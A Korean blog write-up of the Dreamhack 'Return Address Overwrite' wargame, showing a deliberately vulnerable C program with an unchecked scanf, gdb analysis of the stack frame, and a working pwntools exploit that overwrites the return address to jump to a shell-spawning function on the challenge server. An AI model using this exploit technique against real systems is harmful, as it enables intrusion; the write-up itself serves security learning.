[시스템 해킹] 드림핵_Return Address Overwrite

2024. 3. 20. 17:43시스템 해킹

우선 rao파일 실행. 

짧은 문자열은 잘 종료되나 문자열이 길면 segmentation fault 발생.

 

소스코드상 취약점 찾기

문제 코드
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);		
  #buf의 크기는 0x28인데 입력값 길이 검증을 하지않는 scanf사용.=>버퍼 오버플로우 가능성
  #취약한 scanf보단 scanf_s()나 fgets()등의 함수를 쓰는 것이 좋음.
  return 0;
}

 

checksec rao를 통해 rao 실행파일에 걸려있는 보안 메커니즘 살펴보기.

-아무런 설정 없음. 우회 없이 공격 가능.

 

gdb를 이용해 스택프레임 구조 분석

gdb 진입

disassem main을 통해 main 함수의 어셈블리 코드 확인.

buf[0x28]이 rbp-0x30에 있다는 사실 확인.

buf의 크기는 0x28인데 위치가 0x30임. 더미 값이 0x8만큼 있음.

 

스택에 버퍼오버플로우 공격을 발생시켜 RET(리턴 주소)을 조작하는 방식으로 공격.

임의의 값 0X38개로 buf와 sfp를 덮어씌우고, RET에 접근하여 공격 시도.

* 0x38인 이유? RET에서 buf의 거리가 0x38이기 때문. (0x30 + 0x8)

RET을 get_shell의 주소값으로 덮어씌워 get_shell실행시키면 /bin/sh/이 실행되어 flag 획득 가능.

 

get_shell의 주소값 확인

-0x4006aa

 

vi rao.py로 들어가서

exploit코드 작성

from pwn import *

p = remote('host3.dreamhack.games',11974) 

payload = b"A"*0x30
payload += b"B"*0x8
payload += b"\xaa\x06\x40\x00\x00\x00\x00\x00"

p.sendlineafter("Input: ",payload)

p.interactive()

:wq로 저장해서 나와줌.

 

python3 rao.py로 rao.py를 실행시켜주면 공격성공.